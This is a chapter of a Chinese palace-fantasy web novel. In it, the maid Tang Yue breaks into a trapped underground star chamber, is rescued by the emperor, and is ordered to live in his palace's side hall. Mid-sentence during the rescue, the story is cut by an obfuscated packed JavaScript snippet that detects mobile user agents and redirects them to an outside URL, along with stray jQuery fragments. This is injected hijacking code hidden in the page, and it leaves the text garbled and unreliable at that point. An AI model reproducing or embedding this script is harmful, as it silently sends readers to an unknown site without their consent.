楚攸说的“天地之力,浩瀚莫测,有其自身的法则与平衡”被唐月暂时抛诸脑后。
他指出的“西北方位,地势最高处,承接星辉之古老基台”一直被唐月牢牢记在心里。
接下来的几日,她利用一切可能的机会,将整理书库、传递文书、甚至奉命去其他宫苑办事的间隙,都变成了对西北区域的暗中勘察。
她不敢明目张胆地打听,只能靠自己的眼睛和脚步去丈量。
冰井台附近区域果然如老太监所言,荒凉僻静,宫道年久失修,杂草丛生。
几处前朝遗留的宫殿台基大多坍塌残破,被厚厚的藤蔓和苔藓覆盖,在惨淡的日光下显得格外阴森。
她装作不小心走错路的小宫女,四处张望,实则目光精细扫过每一处可疑的角落。
她留意到,越是靠近西北角的核心区域,巡逻的侍卫出现的频率反而降低了?
但偶尔出现的那么一两队,皆是身材健硕、气息沉凝之辈,与宫中寻常侍卫截然不同。
这反常的守卫分布让唐月更加确信,这里确有不想让太多人知道的秘密。
她不敢靠得太近,只能远远绕着那片区域观察。
地势最高处……
她抬头望去,那里似乎是一处尤为高大的废弃台基,比周围都要高出不少,上面似乎还有些残存的石雕构件,但被茂密的枯藤和灌木遮掩得严严实实。
如何才能不引人怀疑地靠近那里?
她耐心观察了两日,发现每日申时三刻左右,会有一个小太监提着一个食盒,低着头,匆匆从一条僻静小路走向那片区域,像是去给某处固定岗哨送吃食。
而那片区域边缘的杂扫工作,似乎是由几个几乎从不与人交流、看起来有些木讷的老太监负责,他们只在清晨和傍晚出现片刻。
硬闯不行,冒充也不行。
机会在一个傍晚降临。
一场突如其来的秋雨打落了不少枯枝,更有几段脆弱的藤蔓从高处的台基上断裂垂下,恰好挂在通往那片区域的小径入口,显得有些凌乱碍眼。
第二天,唐月算准了时间,提前等在那条小径附近一个不起眼的角落。
果然,看到那个负责杂扫的老太监慢吞吞地走过来,看着那堆断枝残藤,皱着眉,似乎有些发愁如何清理高处。
唐月这时从角落走出来,主动开口道:“这位公公,可是要清理这些?
“我正好要去那边冰井台旁的库房取些旧档,顺路可以帮您搭把手,把这高处的枝子勾下来。
“您年岁大了,爬高不便。”
那老太监愣了一下,眯着眼打量她。
唐月身上紫霄殿的服饰和她说话的语气,让他没有立刻拒绝。
宫里的人最会看人下菜碟,即便是不起眼的杂扫老奴,也知道紫霄殿的人不好得罪。
老太监眼睛里闪过一丝犹豫,最终还是慢吞吞地点了点头,道:“有劳姑娘了。小心些,那台子滑。”
唐月应道:“哎,放心吧。”心中暗喜。
她借来了老太监那根带着铁钩的长竹竿,装作费力地清理高处的断藤,目光却飞快地扫视着上方台基的细节。
台基由巨大的青石砌成,风雨侵蚀留下了深深的痕迹。
她用手一点点拂开湿滑的苔藓和泥土,指尖触摸到石面上一些异常光滑的刻痕。
这些!
这些刻痕的走向,与她笔记上某个表示“牵引”或“轨迹”的符号极其相似!
她压抑住激动,更加卖力地“清理”,动作却慢了下来,仔细搜寻着更多线索。
在一处被厚重藤蔓几乎完全覆盖的角落,她发现了一块似乎可以活动的石板。
边缘的缝隙与其他严丝合缝的石块截然不同。
是这里吗?入口?
她左右看看,确认无人注意,用力试图推开石板,石板却纹丝不动。
想了想,尝试着按照刚才发现的刻痕轨迹,用手掌顺着一个奇异的角度按压石板的几个特定位置。
还是没反应。
唐月打算再试一次,不行就换地方。
她回忆着笔记上的内容,再根据她这段时间狂补的有关星象的知识,根据图案的轨迹来依次摁压石板。
终于,“咔哒。”一声极轻微的机括响动从内部传来。
石板微微一震,竟向内滑开了一道仅容一人侧身通过的狭窄缝隙!
一股尘土味冲入鼻尖,冷风从深处扑面而来。
唐月的心跳有些加速,她毫不犹豫,立刻侧身钻了进去,随后又从内部小心翼翼地将石板推回原位。
眼前瞬间陷入一片彻底的黑暗。
她靠在冰凉的石壁上,等眼睛稍微适应了黑暗,才勉强看清这是一条向下延伸的狭窄甬道,石阶陡峭,深不见底。
她摸出火折子点燃,微弱的光晕只能照亮脚下几步的距离。
甬道四壁光滑,刻满了更为复杂密集的星象图谱和符文,与她笔记上的内容相互印证。
她握紧火折子,一步步向下走去。
她深吸一口气,小心地迈出第一步。石阶冰冷且有些湿滑,她必须全神贯注才能稳住身形。火折子的光芒在绝对的黑暗中摇曳不定,将墙壁上那些诡异的符号映照得如同跳动的鬼影。
走了约莫数十级台阶,前方出现了一个小小的平台,甬道在这里分成了左右两条岔路。
两条路看起来一模一样,幽深不知通向何处。
唐月停下脚步,蹙眉观察。
她注意到左边通道的墙壁上,某个星符的刻痕似乎比右边的要新一些?
不,不对……她凑近火折子细看。
那不是新,而是某种……油脂浸润后的微光?像是机关频繁活动留下的痕迹?
她犹豫了一下,选择了右边那条通道。
甬道并不长,尽头是一扇巨大的门户,非金非石,且沉重非常。
门上没有任何锁孔,却布满了数百个可以按动的、刻着不同星符的青铜凸起,排列方式暗合周天星斗,复杂无比。
这像是一个巨大的密码锁。
唐月仔细观察着这些青铜星符,发现其中几个的关键节点似乎与她笔记中推算出的、近期某个特定星官运行至关键角度的轨迹有关。
她尝试着按照记忆和推演,依次按压下那几个对应的星符。
每按下一个,门内就传来一声低沉的“咔”声。
当最后一个星符被按下,整扇门微微震动,发出一阵低沉的嗡鸣,随后缓缓向内打开了一条缝隙。
门后并非想象中的阁楼,而是一个更加广阔、令人震撼的地下空间!
巨大的穹顶不知以何种材料制成,竟模拟出夜空的景象,点点“星辰”发出幽冷的光芒,照亮了下方的景象。
空间中央是一个巨大的复杂仪器,看上去像由某种黑色金属构筑,无数齿轮、轨道、悬臂相互咬合连接,构成了一个庞大而精密的系统,许多部件上同样刻满了星辰符文。
仪器核心处,是一个微微凹陷的平台。
四周的墙壁不再是粗糙的石壁,而是光滑如镜的黑色材质,上面流动着淡蓝色的、如同脉络般的光线,似乎与中央仪器和穹顶的“星辰”相连。
这就是“地脉”和“枢机”?
空气中弥漫着一种奇异的能量感,让唐月的皮肤微微发麻。
这里的一切都超出了她的认知,古老、精密、充满了难以言喻的力量感。
她小心翼翼地踏入这个空间,脚下是冰凉光滑的地面。
她注意到,地面也并非完全平整,而是有着极其细微的沟壑,这些沟壑似乎构成了某种引导能量的回路,最终都汇向中央的仪器。
看来,这里就是观星阁的核心了。
那么,所谓的“阵眼”在哪里?又该如何引动?
她朝着中央那巨大的仪器慢慢靠近。
仔细观察着那个核心平台,平台中心有一个奇特的凹槽,形状……似乎与她笔记上那个代表“通道”或“连接”的符号有几分相似?
难道……
她全神贯注研究那中央仪器,试图找出启动方法。
丝毫没有注意到,在她身后,那扇沉重的大门正在悄无声息地、缓缓地重新闭合……
“咔。”
一声轻微的落锁声,在此地死寂环境中显得格外清晰,终于惊动了唐月。
她猛地回头,只见那扇唯一的出口已然严丝合缝,墙壁光滑如初,几乎看不出门的痕迹!
几乎就在同时,脚下原本只是微光流淌的“地脉”回路陡然亮起刺目的蓝光。
整个空间嗡嗡作响,穹顶的“星辰”开始不规则地疯狂闪烁。
咻!咻!咻!
数道炽白的光束毫无预兆地从墙壁不同方位射出,交错纵横,瞬间封死了她所有大范围的移动空间。
光束击打在地面和中央仪器上,留下焦黑的痕迹,散发出刺鼻的气味。
唐月惊出一身冷汗,几乎是凭着本能,一个狼狈的翻滚,险之又险地避开了两道交叉射过她刚才站立位置的光束。
衣角被擦过,瞬间焦糊了一块。
她连滚带爬地躲到中央仪器一根粗大的金属支柱后面,光束不断击打在支柱上,发出“滋滋”的声音,震得她手臂发麻。
这还没完。
地面那些细微的沟壑中,蓝光越来越盛,紧接着,一片片原本平整的地砖突然无声无息地向下翻塌,露出底下深不见底的漆黑。
塌陷的范围毫无规律,正快速向她藏身之处蔓延!
上天无路,入地无门!
光束织成的死亡之网在不断压缩她的空间,脚下的立足之地也在飞速消失。
唐月脸色煞白,心脏狂跳得几乎要蹦出胸腔。
突然,惊慌间她发现光束的发射有间隙!塌陷的蔓延也有先后!
就在一道光束湮灭、另一道尚未生成的电光石火间,她看准了一块尚未塌陷的地砖,用力扑了过去。
脚步刚落,原先藏身的支柱下方正好塌陷下去!唐月瞪大了眼睛。
她毫不停留,如同在暴雨中跳跃,利用光束射击的微小间隙和地砖塌陷的时间差,惊险万分地在不断缩小的安全点上移动,每一次落脚都是险之又险。
然而,躲避的范围终究有限。一道炽白光束贴着她的左臂外侧擦过!
“嘶——”唐月痛得倒抽一口冷气。
只觉得手臂上一阵灼热的剧痛袭来,衣袖瞬间被灼穿,皮肤上留下一道焦红的伤痕,火辣辣地疼,几乎让她瞬间脱力。
这短暂的停滞是致命的。
前方的光束网已然成型,左右和后方皆是不断扩大的漆黑陷坑。
她已被彻底逼入绝境。
又一道更为粗壮的光束凝聚,直冲她心口而来,她已避无可避,甚至连侧身都难以做到。
完了!
要死了要死了……
看来已经要为自己的行为付出代价了。
唐月闭上了眼睛。
只听“轰!”一声巨响从上方传来。
那穹顶一处原本模拟着星辰的节点猛地爆开,碎石粉末簌簌落下。
一道玄色身影从天而降,下落的位置精准无比,挡在唐月与那道致命光束之间。
他手腕一抖,一柄薄如蝉翼的短刃弹出,并非格挡,而是疾点向光束旁的虚空某处。
嗤啦!
那炽白光束在距离他指尖不足半尺的地方,竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403422|184367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是被无形之力干扰,扭曲、偏折,“啪”的一声击打在旁边的空地上,留下一道焦痕。
来人稳稳落地,收起那奇特的乌金短刃。
他转过身,面容隐在阴影中,眼睛扫过她惨白的脸色,和正捂着左臂伤口的手,她指缝间仍不断有血迹渗出。
在动荡的蓝光与星辉映照下,他脸色沉得可怕,直直盯着唐月。
空气死寂,只剩下能量嗡鸣和零星碎石落地的声音。
唐砚礼冷冷开口:
“朕倒是小瞧了你。”
*
紫霄殿寝宫内。
与外面森严的守卫不同,殿内只有唐砚礼和唐月两人。
唐月坐在一张绣墩上,低垂着头,左臂衣袖被卷起,露出那道焦红伤痕。
周围皮肤已经红肿起来,火辣辣地疼。
她暂时不敢看站在面前的唐砚礼。只觉得他周身散发出的气压已经低到了一种程度。
唐砚礼手里拿着一个白玉小盒,里面是清凉剔透的药膏。
沉默地用手指蘸了些许,动作算不上粗暴,但也绝对不算温柔,将那药膏仔细涂抹在她的伤处。
药膏触及皮肤,带来一阵舒缓的凉意,暂时压下了灼痛感。
但他指尖冰凉的触感和这过分安静的氛围,让唐月觉得有些不自在。
怕唐砚礼治她的罪,她先一步开口。
“陛下,奴婢并非有意擅闯禁地。只是……前些时日整理《九域志》残卷时,似乎看到其中一张副卷标注有误,似是提到了西北角某处藏有前朝观测星象的秘器残骸……”
她飞快地抬眼瞥了一下唐砚礼,见他神色未动,仍在涂药,便硬着头皮继续往下编:
“奴婢愚钝,当时未曾深思,只当是古籍记载疏漏。可今日奉命去冰井台附近库房寻旧档,路过那废弃台基时,恰见风雨后断藤垂下,露出其下石壁竟刻有与星象极为相关的古老纹路,奴婢一时鬼迷心窍,想着若真能找到那所谓的‘秘器残骸’,或许能核验《九域志》真伪,立下一功……这才……这才大胆探查……”
她越说声音越低,头也垂得更低:
“奴婢万万没想到那地方竟有那般厉害的机关,更不知是陛下严禁之所……奴婢知错了,求陛下恕罪!”
唐砚礼任由她说着,等她言辞恳切的解释完。
他上好了药,直起身子,问:“说完了吗?”
唐月生涩地道:“说完了。”
唐砚礼冷声道:“那你可知私闯禁地外加欺君之罪,朕就足以杀了你,让你人头落地上百次都不为过!”
“……”
唐月哪里敢接这话?
他显然是生气了,而且貌似已经到了愤怒的程度。
只是这人脸上不易显,就连唐月刚还在好奇他怎么一点反应都没有。
唐月僵在那里,看着他,一动不动,生怕惹得他不顺眼,下一秒就被处决了。
唐砚礼深吸一口气,闭上眼,似乎将翻涌的情绪强行压下几分。
再睁开时,怒意褪去不少,恢复了平日里的冷意。
他走到一旁的水盆边,慢条斯理地洗去指尖残留的药膏,背对着她,道:
“《九域志》副卷?核验真伪?立上一功?”
他重复着她的话,“你倒是很会为自己找理由。”
唐月屏住呼吸,仍不敢接话。
他转过身,目光重新落在她身上:“那地方凶险异常,今日若非我恰好路过,你此刻已是一具焦尸。你这般‘立功’的心思,倒是比命还重要?”
唐月把头垂得更低,都没有注意到他在气急的情况下自称的变化。
良久,唐砚礼才再次开口:“既然你这般有钻研精神,精力无处发泄,从今日起,便搬到紫霄殿偏殿住下。”
这是他又一次提出让她搬过来住。
只不过这一次语气却有所不同。
上一次提出让她住进来,说了不少的好处,企图打动她。虽说不上请求,但至少语气态度还尚有转圜余地。
但这一次开口语气更为强硬,不再与请求沾边,更像是要求。
唐月猛地抬头:“陛下?!”
“怎么?”唐砚礼见她如此反应,冷哼一声,挑眉,道,“偏殿离书房近,也方便你日夜钻研典籍,省得你再误入什么不该去的地方。朕也好就近看管。”
唐月尚未听出他话中另一层级的指摘之意。只急忙道:
“陛下,奴婢粗鄙,恐污了紫霄殿清静,且在偏殿于礼不合……奴婢保证再不敢乱走乱看,求陛下允奴婢仍回西偏院!”
唐砚礼看着她急于摆脱、丝毫不领情的样子,眼底最后一丝耐心告罄。
“此事已定,不必再议。”
他的语气不容置喙。
唐月所有的话都被堵了回去。
僵持片刻,终究不敢再抗辩,只能低声道:“……是。奴婢遵旨。”
她忍着臂上的疼痛,起身行礼,朝殿外退去。
就在她即将退出殿门时,身后忽然传来唐砚礼的声音。声音里褪去了所有帝王的冷硬,竟染上了一丝淡淡的涩然。
“真的……就这么不愿意留下来吗?”
唐月的脚步顿住了,愣在原地。
这话问得突兀,甚至有些没头没脑。好似只是在责怪她为何再三推脱在紫霄殿偏殿住下的事。
她看着自己裙摆上的细微纹路,没有回头,看不清他现在的表情,自顾自回道:“陛下误会了,奴婢只是住惯了原来的地方,觉得自己不配住再偏殿这么好的地方。你是皇帝,我是宫女,咱俩……不是一个世界的人。”
说完,也不管唐砚礼是否还有话要说,她不再停留,加快脚步,离开了紫霄殿。